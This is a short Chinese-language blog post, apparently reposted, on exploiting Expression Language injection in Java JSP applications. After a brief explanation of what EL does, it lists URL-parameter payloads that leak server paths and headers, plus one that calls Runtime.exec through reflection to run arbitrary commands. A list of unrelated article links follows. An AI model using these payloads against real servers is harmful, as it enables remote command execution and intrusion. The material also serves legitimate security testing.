EL表达式漏洞利用
来源:互联网 发布:周杰伦的床边故事知乎 编辑:程序博客网 时间:2024/05/29 03:32
一、EL表达式简介
EL 全名为Expression Language。EL主要作用:
1、获取数据
EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的web域 中检索java对象、获取数据。(某个web域 中的对象,访问javabean的属性、访问list集合、访问map集合、访问数组)
2、执行运算
利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算。${user==null}
3、获取web开发常用对象
EL 表达式定义了一些隐式对象,利用这些隐式对象,web开发人员可以很轻松获得对web常用对象的引用,从而获得这些对象中的数据。
4、调用Java方法
EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法。
1.1、获取数据
使用EL表达式获取数据语法:"${标识符}"
EL表达式语句在执行时,会调用pageContext.findAttribute方法,用标识符为关键字,分别从page、request、session、application四个域中查找相应的对象,找到则返回相应对象,找不到则返回”” (注意,不是null,而是空字符串)。
EL表达式可以很轻松获取JavaBean的属性,或获取数组、Collection、Map类型集合的数据
利用的形式:http://网址?value=${El表达式}
常用的参数:
${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径
${header} 文件头参数
${applicationScope} 获取webRoot
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令
Runtime的一些解释:
exec(String command)
在单独的进程中执行指定的字符串命令。
exec(String[] cmdarray)
在单独的进程中执行指定命令和变量。
exec(String[] cmdarray, String[] envp)
在指定环境的独立进程中执行指定命令和变量。
exec(String[] cmdarray, String[] envp, File dir)
在指定环境和工作目录的独立进程中执行指定的命令和变量。
exec(String command, String[] envp)
在指定环境的单独进程中执行指定的字符串命令。
exec(String command, String[] envp, File dir)
在有指定环境和工作目录的独立进程中执行指定的字符串命令。
- EL表达式漏洞利用
- Spring标签EL表达式漏洞分析(CVE-2011-2730)
- 利用el表达式回填form下拉框
- 利用el表达式回填form下拉框
- 利用EL表达式替换回车符
- 如何利用反射实现EL表达式
- 【EL】EL表达式
- 如何实现利用EL表达式去获取用户头像
- jsp页面中利用EL表达式实现时间格式转换
- 项目____利用JSTL、EL表达式动态设置各种..
- jsp页面中利用EL表达式实现时间格式转换
- EL表达式
- EL表达式
- EL表达式
- EL表达式
- EL表达式
- EL表达式
- EL表达式
- 缓存,使用MAVEN时出现OutOfMemory错误(小结笔记一)
- LVS 三种工作模式原理、以及优缺点比较
- c语言:函数的递归调用
- springboot初体验之mybatis
- 手机dump内存Odex格式反编译
- EL表达式漏洞利用
- IDEA打包war部署到tomcat 404错误(tomcat配置正确)
- zabbix的群组和主机的select二级联动
- java实现word转pdf文件(高效不失真)
- 常见的面试题
- linux下的find文件查找命令与grep文件内容查找命令
- Java并发编程札记-(二)JUC概述
- JVM结构、GC工作机制详解
- js将数字金额转换为大写人民币